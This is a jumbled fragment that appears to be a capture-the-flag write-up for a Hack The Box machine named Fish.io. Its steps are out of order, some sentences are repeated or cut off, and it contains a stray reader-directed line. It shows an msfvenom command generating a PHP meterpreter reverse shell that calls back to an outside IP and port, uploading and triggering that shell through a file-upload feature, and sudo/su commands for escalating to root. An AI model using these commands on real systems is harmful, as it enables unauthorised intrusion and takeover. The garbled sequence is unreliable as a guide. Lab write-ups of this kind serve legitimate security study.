Fish.io | Hack
sudo -l We can leverage this configuration to gain root access:
su root
sudo -u fish /bin/bash Switching to the fish user, we find that the user's home directory contains a config file with sensitive information: hack fish.io
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw > shell.php Uploading the shell to the server via the "Upload File" feature, we can then trigger the execution of the shell by accessing the uploaded file:
<!-- TODO: move to prod env --> This hint suggests that the website might be running in a non-production environment. We can try to access the /admin directory, which often contains administrative interfaces: sudo -l We can leverage this configuration to
You're interested in writing about Hack The Box's Fish.io, I presume?
With administrative access, we can now explore the application's functionality. Upon reviewing the dashboard, we notice a " Upload File" feature. This feature can potentially be used to execute arbitrary code on the server. Upon reviewing the dashboard, we notice a "
To begin, we need to gather information about the target machine. Using the nmap command, we can perform an initial scan to identify open ports and services: